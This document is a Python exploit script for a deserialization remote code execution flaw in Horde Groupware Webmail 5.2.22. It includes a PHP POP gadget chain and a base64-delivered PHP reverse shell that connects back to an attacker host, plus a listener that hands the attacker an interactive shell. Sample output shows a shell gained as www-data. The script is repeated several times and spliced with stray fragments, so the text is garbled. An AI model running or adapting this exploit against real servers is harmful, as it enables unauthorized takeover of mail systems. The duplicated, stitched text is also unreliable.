user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
*\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";' pop += '}i:1;s:13:"readXMLConfig";}}' pop += 'S:10:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
*\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_scopes";a:1:{' pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}' # implements Serializable using custom unserialize/serialize pop += 'S:13:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
*\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
